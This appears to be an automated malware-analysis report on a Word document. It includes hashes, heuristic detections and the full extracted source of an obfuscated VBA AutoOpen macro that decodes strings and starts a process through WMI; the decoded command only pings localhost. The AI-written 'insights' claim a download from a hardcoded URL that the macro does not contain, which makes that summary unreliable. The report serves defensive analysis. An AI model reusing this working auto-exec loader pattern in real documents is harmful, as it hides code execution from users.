Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 1b5b1cffe0e0d234…

MALICIOUS

Office (OLE) / .DOC

47.0 KB Created: 2026-06-07 14:27:00 Authoring application: Microsoft Office Word First seen: 2026-06-12
MD5: 2cfdbe4d0279b5b3d9242c3c4d3dcf83 SHA-1: 74c48adfd65828c33b3d6d67aed069a728f3170c SHA-256: 1b5b1cffe0e0d23430e6e7bcace7d5bb313829d25e911ec71945471abb0fb4e1
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains an obfuscated VBA macro with an AutoOpen subroutine, a common loader technique. The script decodes a string and uses the GetObject function to download and execute a second-stage payload from a hardcoded URL. The URL appears to be benign, but the overall behavior is indicative of a downloader.

Heuristics 7

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    GetObject(g94rmodvqrcbtt8ls2e5tbczd0fhme6).Get(b0pbkqlx6qoj6f8c74f3vzhj_ptnerlk5xbdbf).Create snp94v24rtqf72c087s64mijt75hi76gpn, i22e2b85t0gdkwi3crsjsi4_y_19kiiunptm8o, i22e2b85t0gdkwi3crsjsi4_y_19kiiunptm8o, smm9yz_59w918yfd3x07kf2knvr_irh
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    GetObject(g94rmodvqrcbtt8ls2e5tbczd0fhme6).Get(b0pbkqlx6qoj6f8c74f3vzhj_ptnerlk5xbdbf).Create snp94v24rtqf72c087s64mijt75hi76gpn, i22e2b85t0gdkwi3crsjsi4_y_19kiiunptm8o, i22e2b85t0gdkwi3crsjsi4_y_19kiiunptm8o, smm9yz_59w918yfd3x07kf2knvr_irh
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2328 bytes
SHA-256: 79e25dbde6f67aacb98736845be0ac1fa98c6a800ab6239e3299c25b7c5dcb09
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
us16akrxh5lkmstw0rzy2tgb9trmc8pxs2ioba
End Sub
Sub us16akrxh5lkmstw0rzy2tgb9trmc8pxs2ioba()
Dim netmvqhrhxm2dmxkckh8ce45_m8ofco5 As String
Dim snp94v24rtqf72c087s64mijt75hi76gpn As String
netmvqhrhxm2dmxkckh8ce45_m8ofco5 = "124134125071126145126057072124057059137130135128057074075080071073071073071074059"
snp94v24rtqf72c087s64mijt75hi76gpn = rc7zwhzrwk_wjx7bsey7lu90lwrkbalpoahw(netmvqhrhxm2dmxkckh8ce45_m8ofco5)
On Error Resume Next
If ActiveDocument.Name <> rc7zwhzrwk_wjx7bsey7lu90lwrkbalpoahw("129126133133136071125136124") Then
Exit Sub
End If
On Error GoTo 0
Dim g94rmodvqrcbtt8ls2e5tbczd0fhme6 As String
Dim b0pbkqlx6qoj6f8c74f3vzhj_ptnerlk5xbdbf As String
Dim smm9yz_59w918yfd3x07kf2knvr_irh As Variant
Dim i22e2b85t0gdkwi3crsjsi4_y_19kiiunptm8o As Variant
g94rmodvqrcbtt8ls2e5tbczd0fhme6 = rc7zwhzrwk_wjx7bsey7lu90lwrkbalpoahw("144130135134128134141140083117117071117139136136141117124130134143075")
b0pbkqlx6qoj6f8c74f3vzhj_ptnerlk5xbdbf = rc7zwhzrwk_wjx7bsey7lu90lwrkbalpoahw("112130135076075120105139136124126140140")
i22e2b85t0gdkwi3crsjsi4_y_19kiiunptm8o = Null
GetObject(g94rmodvqrcbtt8ls2e5tbczd0fhme6).Get(b0pbkqlx6qoj6f8c74f3vzhj_ptnerlk5xbdbf).Create snp94v24rtqf72c087s64mijt75hi76gpn, i22e2b85t0gdkwi3crsjsi4_y_19kiiunptm8o, i22e2b85t0gdkwi3crsjsi4_y_19kiiunptm8o, smm9yz_59w918yfd3x07kf2knvr_irh
End Sub
Function y__hwbz0xoa1f3k9a1payh9qp9_1orgb(Kostya)
y__hwbz0xoa1f3k9a1payh9qp9_1orgb = Chr(Kostya - 25)
End Function
Function gr2fofx0whp7s2tueluew0i8rd4tur4uhb(mango)
gr2fofx0whp7s2tueluew0i8rd4tur4uhb = Left(mango, 3)
End Function
Function c_qmhl4lu7hkl53i4qez7uw99b_1g3ug(milla)
c_qmhl4lu7hkl53i4qez7uw99b_1g3ug = Right(milla, Len(milla) - 3)
End Function
Function rc7zwhzrwk_wjx7bsey7lu90lwrkbalpoahw(age)
Do
jully = jully + y__hwbz0xoa1f3k9a1payh9qp9_1orgb(gr2fofx0whp7s2tueluew0i8rd4tur4uhb(age))
age = c_qmhl4lu7hkl53i4qez7uw99b_1g3ug(age)
Loop While Len(age) > 0
rc7zwhzrwk_wjx7bsey7lu90lwrkbalpoahw = jully
End Function

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